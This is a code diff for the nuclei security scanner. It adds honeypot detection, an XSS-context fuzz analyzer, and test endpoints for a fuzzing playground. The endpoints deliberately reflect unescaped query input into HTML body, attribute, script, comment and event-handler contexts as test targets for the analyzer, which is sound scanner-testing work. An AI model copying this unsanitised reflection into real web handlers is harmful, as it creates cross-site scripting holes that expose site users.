+++ b/pkg/output/output.go
@@ -23,6 +23,7 @@ import (
 	"github.com/projectdiscovery/gologger"
 	"github.com/projectdiscovery/interactsh/pkg/server"
 	"github.com/projectdiscovery/nuclei/v3/internal/colorizer"
+	"github.com/projectdiscovery/nuclei/v3/pkg/honeypot"
 	"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
 	"github.com/projectdiscovery/nuclei/v3/pkg/model"
 	"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
@@ -82,6 +83,9 @@ type StandardWriter struct {
 	// when using custom server code with output
 	JSONLogRequestHook func(*JSONLogRequest)
 
+	// HoneypotDetector tracks template matches per host and flags likely honeypots
+	HoneypotDetector *honeypot.Detector
+
 	resultCount atomic.Int32
 }
 
@@ -264,6 +268,11 @@ func NewStandardWriter(options *types.Options) (*StandardWriter, error) {
 		}
 	}
 
+	var honeypotDetector *honeypot.Detector
+	if options.HoneypotThreshold > 0 {
+		honeypotDetector = honeypot.New(options.HoneypotThreshold, options.HoneypotSuppress)
+	}
+
 	writer := &StandardWriter{
 		json:             options.JSONL,
 		jsonReqResp:      !options.OmitRawRequests,
@@ -280,6 +289,7 @@ func NewStandardWriter(options *types.Options) (*StandardWriter, error) {
 		storeResponseDir: options.StoreResponseDir,
 		omitTemplate:     options.OmitTemplate,
 		KeysToRedact:     options.Redact,
+		HoneypotDetector: honeypotDetector,
 	}
 
 	if v := os.Getenv("DISABLE_STDOUT"); v == "true" || v == "1" {
@@ -299,6 +309,21 @@ func (w *StandardWriter) Write(event *ResultEvent) error {
 		return nil
 	}
 
+	// Honeypot detection: track template matches per host
+	if w.HoneypotDetector != nil && w.HoneypotDetector.IsEnabled() && event.MatcherStatus {
+		host := event.Host
+		if host == "" {
+			host = event.Matched
+		}
+		justFlagged := w.HoneypotDetector.RecordMatch(host, event.TemplateID)
+		if justFlagged {
+			w.HoneypotDetector.WarnOnce(host)
+		}
+		if w.HoneypotDetector.ShouldSuppress(host) {
+			return nil
+		}
+	}
+
 	// Enrich the result event with extra metadata on the template-path and url.
 	if event.TemplatePath != "" {
 		event.Template, event.TemplateURL = utils.TemplatePathURL(types.ToString(event.TemplatePath), types.ToString(event.TemplateID), event.TemplateVerifier)
@@ -453,6 +478,9 @@ func (w *StandardWriter) Colorizer() aurora.Aurora {
 
 // Close closes the output writing interface
 func (w *StandardWriter) Close() {
+	if w.HoneypotDetector != nil {
+		w.HoneypotDetector.PrintSummary()
+	}
 	if w.outputFile != nil {
 		_ = w.outputFile.Close()
 	}
diff --git a/pkg/protocols/http/http.go b/pkg/protocols/http/http.go
index d461db5920..d8c78870a2 100644
--- a/pkg/protocols/http/http.go
+++ b/pkg/protocols/http/http.go
@@ -13,6 +13,7 @@ import (
 
 	"github.com/projectdiscovery/fastdialer/fastdialer"
 	_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/time"
+	_ "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/xss"
 
 	"github.com/projectdiscovery/nuclei/v3/pkg/fuzz"
 	"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
diff --git a/pkg/protocols/http/request.go b/pkg/protocols/http/request.go
index 7fb3218e7d..e6d7c6162b 100644
--- a/pkg/protocols/http/request.go
+++ b/pkg/protocols/http/request.go
@@ -1014,6 +1014,9 @@ func (request *Request) executeRequest(input *contextargs.Context, generatedRequ
 				HttpClient:         request.httpClient,
 				ResponseTimeDelay:  duration,
 				AnalyzerParameters: request.Analyzer.Parameters,
+				ResponseBody:       bodyStr,
+				ResponseHeaders:    respChain.Response().Header,
+				ResponseStatusCode: respChain.Response().StatusCode,
 			})
 			if err != nil {
 				gologger.Warning().Msgf("Could not analyze response: %v\n", err)
diff --git a/pkg/templates/templates_doc.go b/pkg/templates/templates_doc.go
index 44787237c6..5ef4ceb2f8 100644
--- a/pkg/templates/templates_doc.go
+++ b/pkg/templates/templates_doc.go
@@ -870,11 +870,12 @@ func init() {
 	ANALYZERSAnalyzerTemplateDoc.Fields[0].Comments[encoder.LineComment] = "Name is the name of the analyzer to use"
 	ANALYZERSAnalyzerTemplateDoc.Fields[0].Values = []string{
 		"time_delay",
+		"xss_context",
 	}
 	ANALYZERSAnalyzerTemplateDoc.Fields[1].Name = "parameters"
 	ANALYZERSAnalyzerTemplateDoc.Fields[1].Type = "map[string]interface{}"
 	ANALYZERSAnalyzerTemplateDoc.Fields[1].Note = ""
-	ANALYZERSAnalyzerTemplateDoc.Fields[1].Description = "Parameters is the parameters for the analyzer\n\nParameters are different for each analyzer. For example, you can customize\ntime_delay analyzer with sleep_duration, time_slope_error_range, etc. Refer\nto the docs for each analyzer to get an idea about parameters."
+	ANALYZERSAnalyzerTemplateDoc.Fields[1].Description = "Parameters is the parameters for the analyzer\n\nParameters are different for each analyzer. For example, you can customize\ntime_delay analyzer with sleep_duration, time_slope_error_range, etc.\nThe xss_context analyzer accepts an optional \"canary\" parameter. Refer\nto the docs for each analyzer to get an idea about parameters."
 	ANALYZERSAnalyzerTemplateDoc.Fields[1].Comments[encoder.LineComment] = "Parameters is the parameters for the analyzer"
 
 	SignatureTypeHolderDoc.Type = "SignatureTypeHolder"
diff --git a/pkg/testutils/fuzzplayground/server.go b/pkg/testutils/fuzzplayground/server.go
index 5278c12363..9ccf0c0c55 100644
--- a/pkg/testutils/fuzzplayground/server.go
+++ b/pkg/testutils/fuzzplayground/server.go
@@ -34,6 +34,14 @@ func GetPlaygroundServer() *echo.Echo {
 	e.GET("/user/:id/profile", userProfileHandler)
 	e.POST("/user", patchUnsanitizedUserHandler)
 	e.GET("/blog/posts", getPostsHandler)
+
+	// XSS context analyzer test endpoints
+	e.GET("/xss/body", xssBodyHandler)
+	e.GET("/xss/attribute", xssAttributeHandler)
+	e.GET("/xss/script", xssScriptHandler)
+	e.GET("/xss/comment", xssCommentHandler)
+	e.GET("/xss/event", xssEventHandler)
+	e.GET("/xss/encoded", xssEncodedHandler)
 	return e
 }
 
@@ -224,3 +232,49 @@ func getPostsHandler(c echo.Context) error {
 	}
 	return c.JSON(http.StatusOK, posts)
 }
+
+// --- XSS context analyzer test endpoints ---
+
+// xssBodyHandler reflects the input directly inside an HTML body (text context).
+func xssBodyHandler(ctx echo.Context) error {
+	input := ctx.QueryParam("input")
+	return ctx.HTML(200, fmt.Sprintf(bodyTemplate, fmt.Sprintf("<p>Welcome %s</p>", input)))
+}
+
+// xssAttributeHandler reflects the input inside a quoted attribute value.
+func xssAttributeHandler(ctx echo.Context) error {
+	input := ctx.QueryParam("input")
+	page := fmt.Sprintf(`<input type="text" value="%s">`, input)
+	return ctx.HTML(200, fmt.Sprintf(bodyTemplate, page))
+}
+
+// xssScriptHandler reflects the input inside a <script> block.
+func xssScriptHandler(ctx echo.Context) error {
+	input := ctx.QueryParam("input")
+	page := fmt.Sprintf(`<script>var data = "%s";</script>`, input)
+	return ctx.HTML(200, fmt.Sprintf(bodyTemplate, page))
+}
+
+// xssCommentHandler reflects the input inside an HTML comment.
+func xssCommentHandler(ctx echo.Context) error {
+	input := ctx.QueryParam("input")
+	page := fmt.Sprintf(`<!-- debug: %s -->`, input)
+	return ctx.HTML(200, fmt.Sprintf(bodyTemplate, page))
+}
+
+// xssEventHandler reflects the input inside an event handler attribute.
+func xssEventHandler(ctx echo.Context) error {
+	input := ctx.QueryParam("input")
+	page := fmt.Sprintf(`<button onclick="doSomething('%s')">Click</button>`, input)
+	return ctx.HTML(200, fmt.Sprintf(bodyTemplate, page))
+}
+
+// xssEncodedHandler applies entity encoding on angle brackets but
+// passes other characters through, useful for testing character
+// survival detection.
+func xssEncodedHandler(ctx echo.Context) error {
+	input := ctx.QueryParam("input")
+	safe := strings.ReplaceAll(input, "<", "&lt;")
+	safe = strings.ReplaceAll(safe, ">", "&gt;")
+	return ctx.HTML(200, fmt.Sprintf(bodyTemplate, fmt.Sprintf("<p>%s</p>", safe)))
+}
diff --git a/pkg/types/types.go b/pkg/types/types.go
index 43d818fb43..f56758928c 100644
--- a/pkg/types/types.go
+++ b/pkg/types/types.go
@@ -406,6 +406,11 @@ type Options struct {
 	EnableGlobalMatchersTemplates bool
 	// EnableFileTemplates enables file templates
 	EnableFileTemplates bool
+	// HoneypotThreshold is the number of unique template matches per host
+	// before that host is flagged as a likely honeypot. 0 disables detection.
+	HoneypotThreshold int
+	// HoneypotSuppress suppresses output for hosts flagged as honeypots
+	HoneypotSuppress bool
 	// Disables cloud upload
 	EnableCloudUpload bool
 	// ScanID is the scan ID to use for cloud upload
@@ -658,6 +663,8 @@ func (options *Options) Copy() *Options {
 		EnableSelfContainedTemplates:   options.EnableSelfContainedTemplates,
 		EnableGlobalMatchersTemplates:  options.EnableGlobalMatchersTemplates,
 		EnableFileTemplates:            options.EnableFileTemplates,
+		HoneypotThreshold:              options.HoneypotThreshold,
+		HoneypotSuppress:               options.HoneypotSuppress,
 		EnableCloudUpload:              options.EnableCloudUpload,
 		ScanID:                         options.ScanID,
 		ScanName:                       options.ScanName,